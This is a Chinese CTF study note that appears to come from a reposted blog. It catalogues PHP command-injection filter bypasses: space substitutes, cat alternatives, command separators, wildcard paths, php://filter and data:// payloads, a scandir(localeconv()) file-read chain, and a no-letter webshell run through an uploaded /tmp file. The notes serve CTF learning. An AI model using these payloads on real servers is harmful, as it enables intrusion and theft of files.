CTF命令執行漏洞的一些雜七雜八的筆記
命令執行漏洞主要是由system、exec、shell_exec,eval等函式能把用戶輸入的內容當作是命令來執,反引號一般的作用是與system類似,都是把內容作為命令來執行,//不過在這些命令執行函式里面,只有system是有回顯的,其他的函式都需要搭配著echo來使用
關于過濾的一些筆記
一般看到有過濾的我都會直接先用echo "npfs "; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php這個來試試水
eval(system('cat flag.php');這段代碼的system可以換成是反引號,如果cat被過濾了就可以把cat換成是其他可以查看flag.php的函式,如nl ,如果flag.php也被過濾了可以把flag.php分開拼接如f''l''a''g.php,還可以通配符f* 或者f?ag.php
一些繞過的方法
空格繞過
> < <> 重定向符//這里有一點需注意用<>的時候和通配符?是沒有回顯的可以用\
//比如 tac<>fla?.php要改為tac<>fla\g.php
%09(需要php環境)
${IFS}
$IFS$9
{cat,flag.php} //用逗號實作了空格功能
%20
%09
/**/(一般在sql注入的時候使用)
cat被過濾
more:一頁一頁的顯示檔案內容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
file -f:報錯出具體內容
grep
strings
grep的使用
grep test *file #在當前目錄中,查找后綴有 file 字樣的檔案中包含 test 字串的檔案,并列印出該字串的行
無須括號的函式(php)
echo qwer;
print qwe;
die;
include "/dasdasda";
require "/asdasdas";
include_once "/asdasd";
require_once "/aaaaaa";
我常用的倆協議
php://filter/
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=
當上面的東西用不出來的時候就試試這倆吧
如果還出不來怎么辦呢
https://www.cnblogs.com/NPFS/p/13778333.html
去看看大佬寫的這篇無引數檔案讀取吧
看完以后你就可以知道scandir(current(localeconv()))的妙用(不得不說站在巨人的肩膀上看世界真的方便了像我這種小菜雞
嘿嘿這里有一道題可以用到這個

這道題就是上面的方法都試過之后都沒有用然后就用到scandir(current(localeconv()))來查看檔案
print_r(scandir(current(localeconv())));

看到了flag.php 我們想要打開它,但是又不能出現數字怎么辦呢,
當然是通過 array_reverse 進行逆轉陣列,然后用next()函式進行下一個值的讀取,記得成功讀取flag.php檔案
paylaodshow_source(next(array_reverse(scandir(pos(localeconv())))));
如果在命令執行函式輸入的內容的后面或者前面拼接了其他的函式來影響我們的執行內容可以用命令分隔符
; //分號
| //只執行后面那條命令
|| //只執行前面那條命令
& //兩條命令都會執行
&& //兩條命令都會執行
%0a
其他的騷操作
因為Linux的命令可以用通配符來使用如果好多東西都被過濾了就可以使用這一特性來去繞過
<?php
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
這個可以利用/bin/base64 來查看flag
比如c=/???/????64%20????.???
還有就是在p神那里學到的無字母數字webshell之提高篇
主要是利用shell下可以用.來執行任意腳本,和linux檔案名支持用global通配符來代替
我們上傳的默認檔案名是/tmp/phpxXXXXXX 檔案最后六個字符是隨機的大小寫字母
在通配符里面[@-[]來表示大寫字母
<?php
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
所以開整
按照p神的方法來
- 首先構造一個POST上傳檔案包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST檔案上傳</title>
</head>
<body>
<form action="http://17d01aae-51d9-48fe-abfb-d9ba10037d72.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
<label for="file">檔案名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
-
上傳一個php檔案
#!/bin/sh ls -
抓包以后把
c=./???/????????[@-[]加上去就好
有一個湊數字的技巧
${_}=""`
`$((${_}))=0`
`$((~$((${_}))))=-1
利用這個可以湊出我們想要的數字
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/257733.html
標籤:其他
